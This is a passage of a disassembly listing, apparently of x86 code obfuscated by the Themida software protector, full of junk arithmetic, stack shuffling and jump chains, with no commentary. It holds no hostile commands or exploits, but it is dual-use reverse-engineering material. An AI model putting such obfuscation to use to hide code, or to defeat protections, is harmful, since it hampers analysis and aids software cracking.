		mov	edx, 4
		push	edi
		mov	edi, 7EB55EAFh
		sub	eax, edi
		jmp	loc_58ED44
; ---------------------------------------------------------------------------


loc_593A12:				; CODE XREF: sub_59196D+4462j
		jmp	loc_58F52A
; ---------------------------------------------------------------------------


loc_593A17:				; CODE XREF: sub_59196D-54F3j
		push	small 0A92h
		mov	word ptr [esp+14h+var_16+2], ax
		jmp	loc_58F939
; ---------------------------------------------------------------------------


loc_593A24:				; CODE XREF: sub_59196D-590j
					; sub_59196D+1976j
		pop	eax
		sub	al, 2Eh
		push	bx
		mov	bl, 0A4h
		sub	al, bl
		jmp	loc_58DBC5
; ---------------------------------------------------------------------------


loc_593A32:				; CODE XREF: Themida_:0058C699j
		add	al, 0FCh
		sub	al, bl
		sub	esp, 4
		mov	[esp+0], ecx
		mov	cl, 59h
		dec	cl
		xchg	dh, cl
		xor	dh, ah
		jmp	loc_59866B
; ---------------------------------------------------------------------------


loc_593A4C:				; CODE XREF: sub_59196D+5672j
					; sub_59196D+6C6Bj
		pop	esp
		jmp	loc_58F074
; ---------------------------------------------------------------------------


loc_593A52:				; CODE XREF: sub_59196D+107Aj
		add	esi, 4
		push	ebp
		jmp	loc_5902A6
; ---------------------------------------------------------------------------


loc_593A5E:				; CODE XREF: sub_59196D:loc_58E367j
		shl	ebp, 5
		jmp	loc_58EA09
; ---------------------------------------------------------------------------


loc_593A66:				; CODE XREF: sub_59196D-548Dj
		push	edx
		push	ebp
		mov	ebp, 5F422C77h
		mov	edx, ebp
		jmp	loc_591263
; ---------------------------------------------------------------------------


loc_593A74:				; CODE XREF: sub_59196D-4A4Cj
		or	dl, 47h
		jge	loc_595C90
		jmp	loc_590E6E
; ---------------------------------------------------------------------------


loc_593A82:				; CODE XREF: sub_5909BD-24DAj
		push	4AE9h
		jmp	loc_595229
; ---------------------------------------------------------------------------


loc_593A8C:				; CODE XREF: Themida_:0058F4F1j
		sub	esp, 4
		mov	[esp+18h+var_1A+2], eax
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebp
		jmp	loc_58ECA1
; ---------------------------------------------------------------------------


loc_593A9D:				; CODE XREF: sub_59196D+32C0j
		push	ebp
		mov	ebp, 5E024D4h
		jmp	loc_591400
; ---------------------------------------------------------------------------


loc_593AA8:				; CODE XREF: sub_59196D+1C58j
		pop	dx
		add	ch, 1
		and	ch, 8Fh
		jmp	loc_590D03
; ---------------------------------------------------------------------------


loc_593AB5:				; CODE XREF: sub_59196D+61j
		mov	esi, 4
		add	eax, esi
		pop	esi
		xor	eax, [esp+2Ah+var_2A]
		jmp	loc_598653
; ---------------------------------------------------------------------------


loc_593AC5:				; CODE XREF: sub_59196D-2360j
		push	eax
		mov	ah, 39h
		shr	ah, 2
		shl	ah, 3
		and	ah, 79h
		dec	ah
		jmp	loc_594C01
; ---------------------------------------------------------------------------


loc_593AD8:				; CODE XREF: sub_59196D+125Bj
		pop	ebp
		pop	[esp+18h+var_1A+2]
		pop	esp
		jmp	loc_58D89E
; ---------------------------------------------------------------------------


loc_593AE2:				; CODE XREF: sub_59196D-4272j
		mov	esi, 2AFA71F2h
		jmp	loc_5922A4
; ---------------------------------------------------------------------------


loc_593AEC:				; CODE XREF: sub_59196D+5229j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+14h+var_16+2]
		pop	esp
		sub	al, bl
		jmp	loc_58B9F2
; ---------------------------------------------------------------------------


loc_593B03:				; CODE XREF: sub_59196D-4A4j
		push	6766h
		jmp	loc_58E498
; ---------------------------------------------------------------------------


loc_593B0D:				; CODE XREF: sub_59196D-5C7Ej
		mov	esi, esp
		jmp	loc_58E24D
; ---------------------------------------------------------------------------


loc_593B14:				; CODE XREF: sub_59196D-3CCEj
		shl	ebx, 1
		add	ebx, 31D7536Ch
		jnb	loc_594EFB
		xor	ebx, 10E9A180h
		mov	ebp, ebx
		pop	ebx
		or	ebp, 0ADC3427h
		sub	ebp, 1FFF37FEh
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		add	[ebx], ebp
		pop	ebx
		pop	ebp
		jmp	loc_597F7D
; ---------------------------------------------------------------------------


loc_593B48:				; CODE XREF: sub_59196D+4142j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_593B4D:				; CODE XREF: sub_59196D+4946j
		pop	esp
		dec	[esp+10h+var_12+2]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_593B57:				; CODE XREF: sub_59196D-6377j
					; sub_59196D+230Dj
		pop	edx
		xor	eax, 6E5E172Ah
		xor	eax, 1FF80243h
		push	ebx
		push	eax
		mov	eax, 2AFD3E1Dh
		mov	ebx, 55AF48E1h
		sub	ebx, eax
		pop	eax
		jmp	loc_594B76
; ---------------------------------------------------------------------------


loc_593B76:				; CODE XREF: sub_59196D:loc_58EBFEj
		jmp	loc_598046
; ---------------------------------------------------------------------------


loc_593B7B:				; CODE XREF: sub_59196D-36B5j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], edx
		xor	edx, [esp+34h+var_36+2]
		pop	esp
		jmp	loc_58F7A6
; ---------------------------------------------------------------------------


loc_593B95:				; CODE XREF: sub_59196D+F95j
		not	ebp
		shr	ebp, 6
		add	ebp, 11D89DC2h
		sub	edi, ebp
		pop	ebp
		add	edi, 1
		push	5673h
		mov	[esp+32h+var_32], edx
		push	ecx
		push	2F0B3F3Fh
		mov	ecx, [esp+3Ah+var_3C+2]
		add	esp, 4
		jmp	loc_58E043
; ---------------------------------------------------------------------------


loc_593BBF:				; CODE XREF: sub_59196D-2C12j
		jg	loc_5939F4
		xor	ah, 0EAh
		push	ebx
		jmp	loc_595DAD
; ---------------------------------------------------------------------------
		mov	eax, esp
		push	edx


loc_593BD1:				; CODE XREF: sub_59196D+32C8j
		xor	esi, [esp+1Ch+var_1E+2]
		pop	esp
		or	edx, eax
		jmp	loc_58F958
; ---------------------------------------------------------------------------


loc_593BDC:				; CODE XREF: sub_59196D+5DC0j
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		xchg	eax, ebx
		pop	ebx
		not	eax
		neg	eax
		dec	eax
		xor	eax, 5C7E5C04h
		add	edx, eax
		jmp	loc_58E977
; ---------------------------------------------------------------------------


loc_593BF7:				; DATA XREF: Themida_:0058B0A8o
		mov	ax, word ptr [esp+18h+var_1A+2]
		push	51CEh
		jmp	loc_5984CC
; ---------------------------------------------------------------------------


loc_593C05:				; CODE XREF: sub_59196D+13F4j
		mov	ebp, esp
		push	eax
		sub	esp, 4
		mov	[esp+34h+var_36+2], ecx
		mov	ecx, 55894DF5h
		push	0A8Ch
		jmp	loc_596A41
; ---------------------------------------------------------------------------


loc_593C1D:				; CODE XREF: sub_59196D+573j
		mov	[esp+10h+var_12+2], esp
		add	[esp+10h+var_12+2], 4
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_5919B1
; ---------------------------------------------------------------------------


loc_593C33:				; CODE XREF: sub_59196D-1ECBj
		add	esi, 0FFFFFFFFh
		push	0
		jmp	loc_595503
; ---------------------------------------------------------------------------


loc_593C43:				; CODE XREF: sub_59196D+5F10j
		pop	esp
		jmp	loc_58EB0A
; ---------------------------------------------------------------------------


loc_593C49:				; CODE XREF: sub_59196D-3CD6j
		pop	ebx
		mov	ebx, 8263A3F2h
		jmp	loc_594749
; ---------------------------------------------------------------------------


loc_593C54:				; CODE XREF: sub_59196D+2AE1j
		jmp	loc_5924AA
; ---------------------------------------------------------------------------


loc_593C59:				; CODE XREF: sub_59196D+24DEj
		sub	eax, 14C83538h
		sub	eax, 117714FEh
		jmp	loc_5970D8
; ---------------------------------------------------------------------------


loc_593C68:				; CODE XREF: sub_591000+3j
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		pop	ecx
		jmp	loc_5962CF
; ---------------------------------------------------------------------------


loc_593C78:				; CODE XREF: Themida_:0058D0C4j
		add	eax, edx
		jmp	loc_593B57
; ---------------------------------------------------------------------------


loc_593C7F:				; CODE XREF: sub_59196D+5740j
		and	ah, 28h
		not	ah
		sub	ah, 47h
		push	ebx
		jmp	loc_591B60
; ---------------------------------------------------------------------------


loc_593C8D:				; CODE XREF: sub_59196D+BFCj
		mov	[esp+20h+var_22+2], edx
		jmp	loc_590163
; ---------------------------------------------------------------------------


loc_593C95:				; CODE XREF: sub_59196D+3F6Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_59671F
; ---------------------------------------------------------------------------


loc_593CAC:				; CODE XREF: sub_59196D-177Aj
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	eax
		mov	eax, 2D657D8Ah
		sub	edx, 4BDD51CEh
		jmp	loc_597F24
; ---------------------------------------------------------------------------


loc_593CC6:				; CODE XREF: sub_59196D-1ECj
					; sub_59196D+3F46j
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+2Eh+var_2E], esi
		mov	esi, 30046594h
		sub	esi, 83060F6h
		jns	loc_58D169
		neg	esi
		js	loc_58EF98
		and	esi, 37935EB4h


loc_593CEE:				; CODE XREF: sub_59196D-22C5j
		add	edi, esi
		add	edi, 183925EEh
		pop	esi
		push	ecx
		mov	ecx, 238316Fh
		jmp	loc_594C6D
; ---------------------------------------------------------------------------


loc_593D02:				; CODE XREF: sub_59196D-360Bj
		mov	ecx, 1F6B1609h
		xor	[esp+16h+var_12], ecx
		mov	ecx, [esp+16h+var_16]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_58BA80
; ---------------------------------------------------------------------------


loc_593D22:				; CODE XREF: sub_59196D+3160j
		not	eax
		jmp	loc_58B5ED
; ---------------------------------------------------------------------------


loc_593D29:				; CODE XREF: sub_59196D+4134j
		pop	esi
		sub	esi, 54451DB3h
		pop	ecx
		add	eax, 16CC48A0h
		add	eax, 4CEC2FA2h
		jmp	loc_5915B1
; ---------------------------------------------------------------------------


loc_593D40:				; CODE XREF: sub_59196D-5D45j
		add	eax, edi
		pop	edi
		xor	eax, 3615A716h
		jmp	loc_5957BF
; ---------------------------------------------------------------------------


loc_593D4D:				; CODE XREF: sub_59196D-470Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_59382C
; ---------------------------------------------------------------------------


loc_593D62:				; CODE XREF: sub_59196D+2825j
		mov	dh, 80h
		shr	dh, 1
		dec	dh
		jns	loc_58C28E
		jmp	loc_58CC57
; ---------------------------------------------------------------------------
		not	cl
		push	edx
		mov	dl, 24h
		pop	esp


loc_593D79:				; CODE XREF: sub_59196D-22DCj
					; sub_59196D+4BFFj
		pop	ecx
		add	ecx, ebx
		jmp	loc_597BAE
; ---------------------------------------------------------------------------


loc_593D81:				; CODE XREF: sub_59196D-4ACj
		add	bl, 63h
		add	bl, al
		sub	bl, 63h
		pop	eax
		push	eax
		push	ebx
		mov	bl, 99h
		jmp	sub_58B4DA
; ---------------------------------------------------------------------------


loc_593D93:				; CODE XREF: sub_59196D+3015j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 331F1CCAh
		xor	edi, 4A5274E4h
		push	ecx
		push	32CA1924h
		mov	ecx, [esp+4Eh+var_4E]
		jmp	loc_58F32B
; ---------------------------------------------------------------------------


loc_593DB5:				; CODE XREF: Themida_:0058B4FFj
		mov	[esp+4Eh+var_4E], ebx
		jmp	loc_59296E
; ---------------------------------------------------------------------------


loc_593DBD:				; CODE XREF: sub_59196D:loc_596DFBj
		jmp	loc_58B6D5
; ---------------------------------------------------------------------------


loc_593DC2:				; CODE XREF: sub_59196D-224Fj
		xor	edi, 0ECF770Eh
		mov	ebp, edi
		pop	edi
		push	esi
		jmp	loc_58D888
; ---------------------------------------------------------------------------


loc_593DD1:				; CODE XREF: sub_59196D+66A2j
		mov	ebp, 1E9F4271h
		jmp	loc_58F64A
; ---------------------------------------------------------------------------


loc_593DDB:				; CODE XREF: sub_59196D-9A6j
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		push	0C10h
		mov	[esp+24h+var_26+2], esi
		jmp	loc_5958D1
; ---------------------------------------------------------------------------
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_58E66C
; ---------------------------------------------------------------------------


loc_593DF6:				; CODE XREF: sub_59196D+1BD3j
		sub	bh, 2Fh
		jmp	loc_59277A
; ---------------------------------------------------------------------------


loc_593DFE:				; CODE XREF: sub_58E727+4Aj
		push	[esp+1Ch+var_1A+2]
		jmp	loc_58C64A
; ---------------------------------------------------------------------------


loc_593E07:				; CODE XREF: sub_59196D-5CF8j
		and	esi, 68CA4C67h
		jmp	loc_5942D5
; ---------------------------------------------------------------------------


loc_593E12:				; CODE XREF: sub_59196D+11EAj
		add	eax, ebp
		jmp	loc_590B25
; ---------------------------------------------------------------------------


loc_593E19:				; CODE XREF: sub_59196D-59B9j
		xor	edi, 69A0640Ah
		xor	edi, 0E75B0E27h
		sub	ebx, edi
		jmp	loc_5912E6
; ---------------------------------------------------------------------------


loc_593E2C:				; CODE XREF: sub_59196D-18B8j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_597887
; ---------------------------------------------------------------------------


loc_593E3B:				; CODE XREF: sub_58E916+15j
		dec	ebx
		dec	ebx
		add	ebx, 196E388Ah
		xchg	edx, ebx
		jmp	loc_58B976
; ---------------------------------------------------------------------------


loc_593E4A:				; CODE XREF: sub_59196D-E04j
		inc	eax
		jge	loc_593C59
		sub	eax, 14C83538h
		sub	eax, 117714FEh
		mov	bl, 0CEh
		mov	ch, 4Fh


loc_593E5F:				; CODE XREF: sub_59196D-39AAj
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_590A19
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+4+var_4]
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_593389
; ---------------------------------------------------------------------------


loc_593E78:				; CODE XREF: sub_59196D+2F60j
		mov	ecx, 24h
		add	ecx, 0DC60253h
		sub	ecx, 3EBC0EBFh
		add	ecx, edi
		add	ecx, 3EBC0EBFh
		sub	ecx, 0DC60253h
		push	ebp
		jmp	loc_596149
; ---------------------------------------------------------------------------


loc_593E9D:				; CODE XREF: sub_59196D-5D5Cj
		mov	al, 0C8h
		xor	al, 29h
		push	ebx
		mov	bh, al
		mov	cl, bh
		pop	ebx
		push	[esp+2Ch+var_2E+2]
		push	[esp+30h+var_32+2]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FD6C
; ---------------------------------------------------------------------------


loc_593EBC:				; CODE XREF: sub_59196D-5583j
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		test	ecx, eax
		pushf
		jmp	loc_59186E
; ---------------------------------------------------------------------------


loc_593ECA:				; CODE XREF: sub_59196D+57C9j
		push	esp
		pop	edx
		jmp	loc_58D216
; ---------------------------------------------------------------------------


loc_593ED1:				; CODE XREF: sub_59196D-4249j
		and	bh, 22h
		add	bh, 4Fh
		neg	bh
		jmp	loc_5961BB
; ---------------------------------------------------------------------------


loc_593EDE:				; CODE XREF: sub_59196D+2926j
		sub	ebp, 622B548Bh
		mov	ebx, [esp+3Eh+var_40+2]
		add	esp, 4
		add	ebp, esi
		sub	ebp, 4A8F2C5Bh
		jmp	loc_58F1C1
; ---------------------------------------------------------------------------


loc_593EFA:				; CODE XREF: sub_59196D+12F2j
		xchg	ecx, [esp+26h+var_26]
		jmp	loc_597631
; ---------------------------------------------------------------------------


loc_593F02:				; CODE XREF: sub_59196D-914j
		push	ebx
		push	eax
		mov	eax, 1E694626h
		or	eax, 383B0D2Dh
		shl	eax, 8
		js	loc_591033
		sub	eax, 259B02Ch
		mov	ebx, eax
		pop	eax
		jmp	loc_597D7A
; ---------------------------------------------------------------------------


loc_593F24:				; CODE XREF: sub_59196D+33BCj
		xchg	esi, [esp+18h+var_1A+2]
		jmp	loc_5950CB
; ---------------------------------------------------------------------------


loc_593F2C:				; CODE XREF: sub_59196D+2893j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 16B875A2h
		add	eax, ebx
		add	eax, 16B875A2h
		pop	ebx
		push	3457h
		mov	[esp+18h+var_1A+2], ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_58F886
; ---------------------------------------------------------------------------


loc_593F59:				; CODE XREF: sub_59196D-41D2j
		xor	[esp+3Ah+var_3C+2], esi
		xor	esi, [esp+3Ah+var_3C+2]
		pop	esp
		mov	[esp+36h+var_36], edi
		jmp	loc_58BDA9
; ---------------------------------------------------------------------------


loc_593F68:				; CODE XREF: sub_59196D-1DD3j
		push	3667h
		mov	[esp-4+arg_0], ebp
		push	esp
		mov	ebp, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edx
		mov	edx, 67010A70h
		shr	edx, 5
		jz	loc_58B61D
		xor	edx, 36793F3Fh
		jge	loc_592F34
		push	esi
		jmp	loc_5927FA
; ---------------------------------------------------------------------------
		mov	esi, 6C727119h
		push	eax


loc_593FAA:				; CODE XREF: sub_59196D+6408j
		mov	ebx, 90319B2h
		add	[esp+8+var_4], ebx
		pop	ebx
		push	ecx
		jmp	loc_58B49F
; ---------------------------------------------------------------------------


loc_593FBA:				; CODE XREF: Themida_:0058C5FDj
		mov	edi, 57DA5E8Bh
		sub	edi, 4E8F596Eh
		jmp	loc_5959B4
; ---------------------------------------------------------------------------


loc_593FCA:				; CODE XREF: sub_59196D+3E07j
		or	esi, edx
		jmp	loc_592F76
; ---------------------------------------------------------------------------


loc_593FD1:				; CODE XREF: sub_59196D+31E5j
		sub	edi, esi
		add	edi, 11A20492h
		mov	esi, [esp+8+var_8]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_593FE5:				; CODE XREF: sub_59196D-5EA4j
		add	ecx, esi
		mov	esi, [esp+18h+var_1A+2]
		push	7F46h
		jmp	loc_58D76E
; ---------------------------------------------------------------------------


loc_593FF4:				; CODE XREF: sub_59196D+6772j
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp+1Ch+var_1E+2]
		jmp	loc_59399E
; ---------------------------------------------------------------------------


loc_59400B:				; CODE XREF: sub_59196D+44C7j
		xor	ebx, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], ebx
		xor	ebx, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	[esp+1Ch+var_1E+2], edx
		push	eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594021:				; CODE XREF: sub_59196D+5450j
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], ebp
		xor	ebp, [esp+20h+var_22+2]
		pop	esp
		shl	[esp+1Ch+var_1E+2], cl
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+1Ah+var_1A], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594045:				; CODE XREF: sub_59196D+3D4Dj
		sub	edx, esi
		xchg	edx, esi
		pop	edx
		sub	esi, 768481Fh
		sub	esi, 0E4323218h
		jmp	loc_58B427
; ---------------------------------------------------------------------------


loc_59405B:				; CODE XREF: sub_59196D-27A9j
		pop	esi
		add	esp, 4
		dec	ebp
		inc	ebp
		jmp	loc_5964D5
; ---------------------------------------------------------------------------


loc_594069:				; CODE XREF: sub_59196D+4ED6j
		xchg	esi, [esp+18h+var_1A+2]
		jmp	loc_591323
; ---------------------------------------------------------------------------


loc_594071:				; CODE XREF: sub_59196D-52F1j
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_58DDEF
; ---------------------------------------------------------------------------


loc_59407C:				; CODE XREF: sub_59196D+64BCj
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		mov	ecx, [esp+0]
		add	esp, 4
		push	ecx
		jmp	loc_5979F6
; ---------------------------------------------------------------------------
		push	dword ptr [esp+0]
		pop	ecx
		push	7C47h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_595910
; ---------------------------------------------------------------------------


loc_5940B5:				; CODE XREF: sub_59196D+2B40j
		add	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	1935h
		mov	[esp+8+var_8], ecx
		mov	ecx, 2
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5940DF:				; CODE XREF: sub_59196D+56B9j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		add	esp, 4
		jmp	sub_58F469
; ---------------------------------------------------------------------------


loc_5940F0:				; CODE XREF: sub_59196D-2A09j
		jmp	loc_594962
; ---------------------------------------------------------------------------


loc_5940F5:				; CODE XREF: sub_59196D-6364j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5940FA:				; CODE XREF: sub_59196D-62E5j
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1E+2]
		pop	esp
		or	[edi+1Ch], ebx
		push	[esp+18h+var_1A+2]
		pop	ebx
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594113:				; CODE XREF: sub_59196D+400Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_591BFA
; ---------------------------------------------------------------------------


loc_594127:				; CODE XREF: sub_59196D-6570j
		mov	word ptr [esp-4+arg_0],	ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594130:				; CODE XREF: sub_59196D-5E90j
		mov	[esp+18h+var_1A+2], ebx
		mov	bl, 0B7h
		add	cl, 0F8h
		jmp	loc_594FB8
; ---------------------------------------------------------------------------


loc_59413D:				; CODE XREF: sub_59196D+4637j
		pop	eax
		neg	eax
		jns	loc_595446
		sub	eax, 0E980EC00h
		mov	ecx, eax
		pop	eax
		jmp	loc_58F093
; ---------------------------------------------------------------------------


loc_594153:				; CODE XREF: sub_59196D+2E7Fj
		sub	ebx, 352833DFh
		jl	loc_5941D3
		add	ebx, 71454330h
		mov	ecx, ebx
		pop	ebx
		sub	al, 0FFh


loc_59416A:				; CODE XREF: sub_59196D-460Aj
					; sub_59196D:loc_597882j
		sub	cl, 5Ch
		jmp	loc_594CB5
; ---------------------------------------------------------------------------


loc_594172:				; CODE XREF: sub_59196D+1A4Aj
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebp
		mov	ebp, 16CC48A0h
		jmp	loc_58C2B5
; ---------------------------------------------------------------------------


loc_594185:				; CODE XREF: sub_59196D+7EAj
		sub	ebx, 19CB587Ah
		jmp	loc_5976F2
; ---------------------------------------------------------------------------


loc_594190:				; CODE XREF: sub_59196D+2E6Ej
		push	ebx
		push	edx
		jmp	loc_593D62
; ---------------------------------------------------------------------------


loc_594197:				; CODE XREF: sub_59196D+2DFj
		jz	loc_5948BC
		jmp	loc_5916F4
; ---------------------------------------------------------------------------


loc_5941A2:				; CODE XREF: sub_59196D+86j
		mov	ax, word ptr [esp+26h+var_26]
		push	2227h
		mov	[esp+2Ah+var_2A], edx
		push	6DC4h
		mov	[esp+2Eh+var_2E], esp
		jmp	loc_58F59D
; ---------------------------------------------------------------------------


loc_5941BB:				; CODE XREF: sub_59196D-45ABj
		neg	al
		jmp	loc_5975B6
; ---------------------------------------------------------------------------


loc_5941C2:				; CODE XREF: sub_59196D-53Cj
		jo	loc_598352
		sub	ecx, 9336F242h
		jmp	near ptr dword_58C894+18h
; ---------------------------------------------------------------------------


loc_5941D3:				; CODE XREF: sub_59196D+27ECj
		add	ebx, 71454330h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_59816F
; ---------------------------------------------------------------------------


loc_5941E1:				; DATA XREF: Themida_:0058B118o
		push	[esp+0Ch+var_C]
		pop	eax
		sub	esp, 4
		mov	[esp+10h+var_12+2], eax
		push	421Bh
		mov	[esp+14h+var_16+2], esp
		add	[esp+14h+var_16+2], 4
		mov	eax, [esp+14h+var_16+2]
		jmp	loc_593F2C
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58C4B0
; ---------------------------------------------------------------------------


loc_59420B:				; CODE XREF: sub_59196D+1FCFj
					; sub_59196D+59FAj
		push	edx
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ecx
		push	6F5B747Fh
		mov	ecx, [esp+42h+var_44+2]
		add	esp, 4
		not	ecx
		xchg	edi, ecx
		jmp	loc_595607
; ---------------------------------------------------------------------------


loc_594229:				; CODE XREF: sub_59196D-33B3j
		pop	ebp
		jmp	loc_58BC7A
; ---------------------------------------------------------------------------


loc_59422F:				; CODE XREF: sub_59196D+54AEj
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], eax
		push	esi
		mov	esi, 152A31EEh
		push	esi
		mov	esi, 51455CDEh
		mov	eax, esi
		pop	esi
		xor	eax, esi
		mov	esi, [esp+18h+var_1A+2]
		push	ebx
		jmp	loc_5957A5
; ---------------------------------------------------------------------------


loc_594252:				; CODE XREF: sub_59196D-337Dj
		push	2EF7h
		mov	[esp+18h+var_1A+2], esi
		push	4
		jmp	loc_595E28
; ---------------------------------------------------------------------------


loc_594264:				; CODE XREF: sub_59196D+1EFFj
		pop	ecx
		xor	ebx, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], ebx
		jmp	loc_58CD63
; ---------------------------------------------------------------------------


loc_594270:				; CODE XREF: sub_59196D-5C56j
		not	[esp+2Ch+var_2E+2]
		pop	esi
		inc	esi
		jmp	loc_58BE08
; ---------------------------------------------------------------------------


loc_59427A:				; CODE XREF: sub_59196D+2DCBj
		shr	ebx, 1
		push	edi
		mov	edi, 37766A0Fh
		or	ebx, edi
		pop	edi
		add	ebx, 0A902C5Ch
		add	ebp, 622B548Bh
		add	ebp, ebx
		jmp	loc_593EDE
; ---------------------------------------------------------------------------


loc_594298:				; CODE XREF: sub_59196D-163Fj
		sub	eax, 4F8B3455h
		pop	ebx
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_5953D0
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		push	esi
		jmp	loc_5908FD
; ---------------------------------------------------------------------------


loc_5942AF:				; CODE XREF: sub_59196D+4334j
		push	esi
		push	ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		push	edx
		jmp	loc_592CCF
; ---------------------------------------------------------------------------


loc_5942C2:				; CODE XREF: sub_59196D-3811j
					; sub_59196D-1A87j
		push	esi
		push	[esp+14h+var_12+2]
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		pop	[esp+14h+var_16+2]
		jmp	loc_597009
; ---------------------------------------------------------------------------


loc_5942D5:				; CODE XREF: sub_59196D+24A0j
		inc	esi
		push	ecx
		mov	ecx, 0D2D9F070h
		sub	esi, ecx
		pop	ecx
		jmp	loc_597B0B
; ---------------------------------------------------------------------------


loc_5942E4:				; CODE XREF: sub_59196D+3FE7j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Ch+var_2E+2]
		pop	esp
		add	edx, 2
		xchg	edx, [esp+28h+var_2A+2]
		pop	esp
		mov	ax, word ptr [esp+24h+var_26+2]
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	2206h
		mov	[esp+30h+var_32+2], edi
		mov	edi, 2
		push	edi
		pop	ebx
		jmp	loc_58E38A
; ---------------------------------------------------------------------------


loc_594322:				; CODE XREF: sub_59196D+3759j
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+30h+var_32+2], eax
		mov	eax, 1
		add	[ebx], eax
		pop	eax
		push	[esp+2Ch+var_2E+2]
		pop	ebx
		add	esp, 4


loc_59433D:				; CODE XREF: sub_59196D-356Dj
		push	6DF2h
		mov	[esp+2Ch+var_2E+2], ecx
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebx
		sub	esp, 4
		mov	[esp+34h+var_36+2], eax
		jmp	loc_58BFB9
; ---------------------------------------------------------------------------


loc_594359:				; DATA XREF: Themida_:0058B1ACo
		push	[esp+34h+var_36+2]
		mov	ecx, [esp+0]
		push	eax
		jmp	loc_595E5B
; ---------------------------------------------------------------------------


loc_594365:				; CODE XREF: sub_59196D+83Ej
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+20h+var_22+2]
		pop	eax
		push	4A27h
		mov	[esp+24h+var_26+2], edi
		push	4715h
		push	esp
		pop	[esp+2Ch+var_2E+2]
		add	[esp+28h+var_2A+2], 4
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp+28h+var_2A+2], eax
		mov	eax, 36052915h
		shr	eax, 2
		xor	eax, 0D814A41h
		add	edi, eax
		pop	eax
		xor	edi, [esp+24h+var_26+2]
		jmp	loc_594F4D
; ---------------------------------------------------------------------------
		align 2
		clc
		push	ebx
		mov	bl, 74h
		sub	al, 0DCh
		add	al, bl
		add	al, 0DCh
		jmp	loc_596CC6
; ---------------------------------------------------------------------------


loc_5943B9:				; CODE XREF: sub_59196D-146Cj
		xor	eax, [esp+44h+var_44]
